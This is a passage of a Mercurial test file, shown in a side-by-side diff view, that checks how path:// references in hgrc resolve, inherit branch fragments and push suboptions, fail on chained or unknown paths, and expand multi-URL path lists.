237 > other_branched=path://path_with_branch#default
238 > pushdest=../push-dest
238 > pushdest=../push-dest
239 > pushdest:pushrev=default
239 > pushdest:pushrev=default
240 > pushdest2=path://pushdest
240 > pushdest2=path://pushdest
241 > pushdest-overwrite=path://pushdest
241 > pushdest-overwrite=path://pushdest
242 > pushdest-overwrite:pushrev=foo
242 > pushdest-overwrite:pushrev=foo
243 > EOF
243 > EOF
244
244
245 $ hg init ../branchy
245 $ hg init ../branchy
246 $ hg init ../push-dest
246 $ hg init ../push-dest
247 $ hg debugbuilddag -R ../branchy '.:base+3<base@foo+5'
247 $ hg debugbuilddag -R ../branchy '.:base+3<base@foo+5'
248 $ hg log -G -T '{branch}\n' -R ../branchy
248 $ hg log -G -T '{branch}\n' -R ../branchy
249 o foo
249 o foo
250 |
250 |
251 o foo
251 o foo
252 |
252 |
253 o foo
253 o foo
254 |
254 |
255 o foo
255 o foo
256 |
256 |
257 o foo
257 o foo
258 |
258 |
259 | o default
259 | o default
260 | |
260 | |
261 | o default
261 | o default
262 | |
262 | |
263 | o default
263 | o default
264 |/
264 |/
265 o default
265 o default
266
266
267
267
268 $ hg paths
268 $ hg paths
269 default = $TESTTMP/a
269 default = $TESTTMP/a
270 gpath1 = http://hg.example.com/
270 gpath1 = http://hg.example.com/
271 other_branch = $TESTTMP/branchy#foo
271 other_branch = $TESTTMP/branchy#foo
272 other_branched = $TESTTMP/branchy#default
272 other_branched = $TESTTMP/branchy#default
273 other_default = $TESTTMP/a
273 other_default = $TESTTMP/a
274 path_with_branch = $TESTTMP/branchy#foo
274 path_with_branch = $TESTTMP/branchy#foo
275 pushdest = $TESTTMP/push-dest
275 pushdest = $TESTTMP/push-dest
276 pushdest:pushrev = default
276 pushdest:pushrev = default
277 pushdest-overwrite = $TESTTMP/push-dest
277 pushdest-overwrite = $TESTTMP/push-dest
278 pushdest-overwrite:pushrev = foo
278 pushdest-overwrite:pushrev = foo
279 pushdest2 = $TESTTMP/push-dest
279 pushdest2 = $TESTTMP/push-dest
280 pushdest2:pushrev = default
280 pushdest2:pushrev = default
281
281
282 test basic chaining
282 test basic chaining
283 -------------------
283 -------------------
284
284
285 $ hg path other_default
285 $ hg path other_default
286 $TESTTMP/a
286 $TESTTMP/a
287 $ hg pull default
287 $ hg pull default
288 pulling from $TESTTMP/a
288 pulling from $TESTTMP/a
289 no changes found
289 no changes found
290 $ hg pull other_default
290 $ hg pull other_default
291 pulling from $TESTTMP/a
291 pulling from $TESTTMP/a
292 no changes found
292 no changes found
293
293
294 test inheritance of the #fragment part
294 test inheritance of the #fragment part
295 --------------------------------------
295 --------------------------------------
296
296
297 $ hg pull path_with_branch
297 $ hg pull path_with_branch
298 pulling from $TESTTMP/branchy
298 pulling from $TESTTMP/branchy
299 adding changesets
299 adding changesets
300 adding manifests
300 adding manifests
301 adding file changes
301 adding file changes
302 added 6 changesets with 0 changes to 0 files
302 added 6 changesets with 0 changes to 0 files
303 new changesets 1ea73414a91b:bcebb50b77de
303 new changesets 1ea73414a91b:bcebb50b77de
304 (run 'hg update' to get a working copy)
304 (run 'hg update' to get a working copy)
305 $ hg pull other_branch
305 $ hg pull other_branch
306 pulling from $TESTTMP/branchy
306 pulling from $TESTTMP/branchy
307 no changes found
307 no changes found
308 $ hg pull other_branched
308 $ hg pull other_branched
309 pulling from $TESTTMP/branchy
309 pulling from $TESTTMP/branchy
310 searching for changes
310 searching for changes
311 adding changesets
311 adding changesets
312 adding manifests
312 adding manifests
313 adding file changes
313 adding file changes
314 added 3 changesets with 0 changes to 0 files (+1 heads)
314 added 3 changesets with 0 changes to 0 files (+1 heads)
315 new changesets 66f7d451a68b:2dc09a01254d
315 new changesets 66f7d451a68b:2dc09a01254d
316 (run 'hg heads' to see heads)
316 (run 'hg heads' to see heads)
317
317
318 test inheritance of the suboptions
318 test inheritance of the suboptions
319 ----------------------------------
319 ----------------------------------
320
320
321 $ hg push pushdest
321 $ hg push pushdest
322 pushing to $TESTTMP/push-dest
322 pushing to $TESTTMP/push-dest
323 searching for changes
323 searching for changes
324 adding changesets
324 adding changesets
325 adding manifests
325 adding manifests
326 adding file changes
326 adding file changes
327 added 4 changesets with 0 changes to 0 files
327 added 4 changesets with 0 changes to 0 files
328 $ hg push pushdest2
328 $ hg push pushdest2
329 pushing to $TESTTMP/push-dest
329 pushing to $TESTTMP/push-dest
330 searching for changes
330 searching for changes
331 no changes found
331 no changes found
332 [1]
332 [1]
333 $ hg push pushdest-overwrite --new-branch
333 $ hg push pushdest-overwrite --new-branch
334 pushing to $TESTTMP/push-dest
334 pushing to $TESTTMP/push-dest
335 searching for changes
335 searching for changes
336 adding changesets
336 adding changesets
337 adding manifests
337 adding manifests
338 adding file changes
338 adding file changes
339 added 5 changesets with 0 changes to 0 files (+1 heads)
339 added 5 changesets with 0 changes to 0 files (+1 heads)
340
340
341 Test chaining path:// definition
341 Test chaining path:// definition
342 --------------------------------
342 --------------------------------
343
343
344 This is currently unsupported, but feel free to implement the necessary
344 This is currently unsupported, but feel free to implement the necessary
345 dependency detection.
345 dependency detection.
346
346
347 $ cat << EOF >> .hg/hgrc
347 $ cat << EOF >> .hg/hgrc
348 > chain_path=path://other_default
348 > chain_path=path://other_default
349 > EOF
349 > EOF
350
350
351 $ hg id
351 $ hg id
352 000000000000
352 000000000000
353 $ hg path
353 $ hg path
354 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
354 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
355 [255]
355 [255]
356 $ hg pull chain_path
356 $ hg pull chain_path
357 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
357 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
358 [255]
358 [255]
359
359
360 Doing an actual circle should always be an issue
360 Doing an actual circle should always be an issue
361
361
362 $ cat << EOF >> .hg/hgrc
362 $ cat << EOF >> .hg/hgrc
363 > rock=path://cissors
363 > rock=path://cissors
364 > cissors=path://paper
364 > cissors=path://paper
365 > paper=://rock
365 > paper=://rock
366 > EOF
366 > EOF
367
367
368 $ hg id
368 $ hg id
369 000000000000
369 000000000000
370 $ hg path
370 $ hg path
371 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
371 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
372 [255]
372 [255]
373 $ hg pull chain_path
373 $ hg pull chain_path
374 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
374 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
375 [255]
375 [255]
376
376
377 Test basic error cases
377 Test basic error cases
378 ----------------------
378 ----------------------
379
379
380 $ cat << EOF > .hg/hgrc
380 $ cat << EOF > .hg/hgrc
381 > [paths]
381 > [paths]
382 > error-missing=path://unknown
382 > error-missing=path://unknown
383 > EOF
383 > EOF
384 $ hg path
384 $ hg path
385 abort: cannot use `path://unknown`, "unknown" is not a known path
385 abort: cannot use `path://unknown`, "unknown" is not a known path
386 [255]
386 [255]
387 $ hg pull error-missing
387 $ hg pull error-missing
388 abort: cannot use `path://unknown`, "unknown" is not a known path
388 abort: cannot use `path://unknown`, "unknown" is not a known path
389 [255]
389 [255]
390
390
391 Test path pointing to multiple urls
391 Test path pointing to multiple urls
392 ===================================
392 ===================================
393
393
394 Simple cases
394 Simple cases
395 ------------
395 ------------
396 - one layer
396 - one layer
397 - one list
397 - one list
398 - no special option
398 - no special option
399
399
400 $ cat << EOF > .hg/hgrc
400 $ cat << EOF > .hg/hgrc
401 > [paths]
401 > [paths]
402 > one-path=foo
402 > one-path=foo
403 > multiple-path=foo,bar,baz,https://example.org/
403 > multiple-path=foo,bar,baz,https://example.org/
404 > multiple-path:multi-urls=yes
404 > multiple-path:multi-urls=yes
405 > EOF
405 > EOF
406 $ hg path
406 $ hg path
407 gpath1 = http://hg.example.com/
407 gpath1 = http://hg.example.com/
408 multiple-path = $TESTTMP/chained_path/foo
408 multiple-path = $TESTTMP/chained_path/foo
409 multiple-path:multi-urls = yes
409 multiple-path:multi-urls = yes
410 multiple-path = $TESTTMP/chained_path/bar
410 multiple-path = $TESTTMP/chained_path/bar
411 multiple-path:multi-urls = yes
411 multiple-path:multi-urls = yes
412 multiple-path = $TESTTMP/chained_path/baz
412 multiple-path = $TESTTMP/chained_path/baz
413 multiple-path:multi-urls = yes
413 multiple-path:multi-urls = yes
414 multiple-path = https://example.org/
414 multiple-path = https://example.org/
415 multiple-path:multi-urls = yes
415 multiple-path:multi-urls = yes
416 one-path = $TESTTMP/chained_path/foo
416 one-path = $TESTTMP/chained_path/foo
417
417
418 Reference to a list
418 Reference to a list
419 -------------------
419 -------------------
420
420
421 $ cat << EOF >> .hg/hgrc
421 $ cat << EOF >> .hg/hgrc
422 > ref-to-multi=path://multiple-path
422 > ref-to-multi=path://multiple-path
423 > EOF
423 > EOF
424 $ hg path | grep ref-to-multi
424 $ hg path | grep ref-to-multi
425 ref-to-multi = $TESTTMP/chained_path/foo
425 ref-to-multi = $TESTTMP/chained_path/foo
426 ref-to-multi:multi-urls = yes
426 ref-to-multi:multi-urls = yes
427 ref-to-multi = $TESTTMP/chained_path/bar
427 ref-to-multi = $TESTTMP/chained_path/bar
428 ref-to-multi:multi-urls = yes
428 ref-to-multi:multi-urls = yes
429 ref-to-multi = $TESTTMP/chained_path/baz
429 ref-to-multi = $TESTTMP/chained_path/baz
430 ref-to-multi:multi-urls = yes
430 ref-to-multi:multi-urls = yes
431 ref-to-multi = https://example.org/
431 ref-to-multi = https://example.org/
432 ref-to-multi:multi-urls = yes
432 ref-to-multi:multi-urls = yes
433
433
434 List with a reference
434 List with a reference
435 ---------------------
435 ---------------------
436
436
437 $ cat << EOF >> .hg/hgrc
437 $ cat << EOF >> .hg/hgrc
438 > multi-with-ref=path://one-path, ssh://babar@savannah/celeste-ville
438 > multi-with-ref=path://one-path, ssh://babar@savannah/celeste-ville
439 > multi-with-ref:multi-urls=yes
439 > multi-with-ref:multi-urls=yes
440 > EOF
440 > EOF
441 $ hg path | grep multi-with-ref
441 $ hg path | grep multi-with-ref
442 multi-with-ref = $TESTTMP/chained_path/foo
442 multi-with-ref = $TESTTMP/chained_path/foo
443 multi-with-ref:multi-urls = yes
443 multi-with-ref:multi-urls = yes
444 multi-with-ref = ssh://babar@savannah/celeste-ville
444 multi-with-ref = ssh://babar@savannah/celeste-ville
445 multi-with-ref:multi-urls = yes
445 multi-with-ref:multi-urls = yes
446
446
447 List with a reference to a list
447 List with a reference to a list
448 -------------------------------
448 -------------------------------
449
449
450 $ cat << EOF >> .hg/hgrc
450 $ cat << EOF >> .hg/hgrc
451 > multi-to-multi-ref = path://multiple-path, ssh://celeste@savannah/celeste-ville
451 > multi-to-multi-ref = path://multiple-path, ssh://celeste@savannah/celeste-ville
452 > multi-to-multi-ref:multi-urls = yes
452 > multi-to-multi-ref:multi-urls = yes
453 > EOF
453 > EOF
454 $ hg path | grep multi-to-multi-ref
454 $ hg path | grep multi-to-multi-ref
455 multi-to-multi-ref = $TESTTMP/chained_path/foo
455 multi-to-multi-ref = $TESTTMP/chained_path/foo
456 multi-to-multi-ref:multi-urls = yes
456 multi-to-multi-ref:multi-urls = yes
457 multi-to-multi-ref = $TESTTMP/chained_path/bar
457 multi-to-multi-ref = $TESTTMP/chained_path/bar
458 multi-to-multi-ref:multi-urls = yes
458 multi-to-multi-ref:multi-urls = yes
459 multi-to-multi-ref = $TESTTMP/chained_path/baz
459 multi-to-multi-ref = $TESTTMP/chained_path/baz
460 multi-to-multi-ref:multi-urls = yes
460 multi-to-multi-ref:multi-urls = yes
461 multi-to-multi-ref = https://example.org/
461 multi-to-multi-ref = https://example.org/
462 multi-to-multi-ref:multi-urls = yes
462 multi-to-multi-ref:multi-urls = yes
463 multi-to-multi-ref = ssh://celeste@savannah/celeste-ville
463 multi-to-multi-ref = ssh://celeste@savannah/celeste-ville
464 multi-to-multi-ref:multi-urls = yes
464 multi-to-multi-ref:multi-urls = yes
465
465
466 individual suboptions are inherited
466 individual suboptions are inherited
467 -----------------------------------
467 -----------------------------------
468
468
469 $ cat << EOF >> .hg/hgrc
469 $ cat << EOF >> .hg/hgrc
470 > with-pushurl = foo
470 > with-pushurl = foo
471 > with-pushurl:pushurl = http://foo.bar/
471 > with-pushurl:pushurl = http://foo.bar/
472 > with-pushrev = bar
472 > with-pushrev = bar
473 > with-pushrev:pushrev = draft()
473 > with-pushrev:pushrev = draft()
474 > with-both = toto
474 > with-both = toto
475 > with-both:pushurl = http://ta.ta
475 > with-both:pushurl = http://ta.ta
476 > with-both:pushrev = secret()
476 > with-both:pushrev = secret()
477 > ref-all-no-opts = path://with-pushurl, path://with-pushrev, path://with-both
477 > ref-all-no-opts = path://with-pushurl, path://with-pushrev, path://with-both
478 > ref-all-no-opts:multi-urls = yes
478 > ref-all-no-opts:multi-urls = yes
479 > with-overwrite = path://with-pushurl, path://with-pushrev, path://with-both
479 > with-overwrite = path://with-pushurl, path://with-pushrev, path://with-both
480 > with-overwrite:multi-urls = yes
480 > with-overwrite:multi-urls = yes
481 > with-overwrite:pushrev = public()
481 > with-overwrite:pushrev = public()
482 > EOF
482 > EOF
483 $ hg path | grep with-pushurl
483 $ hg path | grep with-pushurl
484 with-pushurl = $TESTTMP/chained_path/foo
484 with-pushurl = $TESTTMP/chained_path/foo
485 with-pushurl:pushurl = http://foo.bar/
485 with-pushurl:pushurl = http://foo.bar/
486 $ hg path | grep with-pushrev
486 $ hg path | grep with-pushrev
487 with-pushrev = $TESTTMP/chained_path/bar
487 with-pushrev = $TESTTMP/chained_path/bar
488 with-pushrev:pushrev = draft()
488 with-pushrev:pushrev = draft()
489 $ hg path | grep with-both
489 $ hg path | grep with-both
490 with-both = $TESTTMP/chained_path/toto
490 with-both = $TESTTMP/chained_path/toto
491 with-both:pushrev = secret()
491 with-both:pushrev = secret()
492 with-both:pushurl = http://ta.ta/
492 with-both:pushurl = http://ta.ta/
493 $ hg path | grep ref-all-no-opts
493 $ hg path | grep ref-all-no-opts
494 ref-all-no-opts = $TESTTMP/chained_path/foo
494 ref-all-no-opts = $TESTTMP/chained_path/foo
495 ref-all-no-opts:multi-urls = yes
495 ref-all-no-opts:multi-urls = yes
496 ref-all-no-opts:pushurl = http://foo.bar/
496 ref-all-no-opts:pushurl = http://foo.bar/
497 ref-all-no-opts = $TESTTMP/chained_path/bar
497 ref-all-no-opts = $TESTTMP/chained_path/bar
498 ref-all-no-opts:multi-urls = yes
498 ref-all-no-opts:multi-urls = yes
499 ref-all-no-opts:pushrev = draft()
499 ref-all-no-opts:pushrev = draft()
500 ref-all-no-opts = $TESTTMP/chained_path/toto
500 ref-all-no-opts = $TESTTMP/chained_path/toto
501 ref-all-no-opts:multi-urls = yes
501 ref-all-no-opts:multi-urls = yes
502 ref-all-no-opts:pushrev = secret()
502 ref-all-no-opts:pushrev = secret()
503 ref-all-no-opts:pushurl = http://ta.ta/
503 ref-all-no-opts:pushurl = http://ta.ta/
504 $ hg path | grep with-overwrite
504 $ hg path | grep with-overwrite
505 with-overwrite = $TESTTMP/chained_path/foo
505 with-overwrite = $TESTTMP/chained_path/foo
506 with-overwrite:multi-urls = yes
506 with-overwrite:multi-urls = yes
507 with-overwrite:pushrev = public()
507 with-overwrite:pushrev = public()
508 with-overwrite:pushurl = http://foo.bar/
508 with-overwrite:pushurl = http://foo.bar/
509 with-overwrite = $TESTTMP/chained_path/bar
509 with-overwrite = $TESTTMP/chained_path/bar
510 with-overwrite:multi-urls = yes
510 with-overwrite:multi-urls = yes
511 with-overwrite:pushrev = public()
511 with-overwrite:pushrev = public()
512 with-overwrite = $TESTTMP/chained_path/toto
512 with-overwrite = $TESTTMP/chained_path/toto
513 with-overwrite:multi-urls = yes
513 with-overwrite:multi-urls = yes
514 with-overwrite:pushrev = public()
514 with-overwrite:pushrev = public()
515 with-overwrite:pushurl = http://ta.ta/
515 with-overwrite:pushurl = http://ta.ta/
General Comments 0
You need to be logged in to leave comments. Login now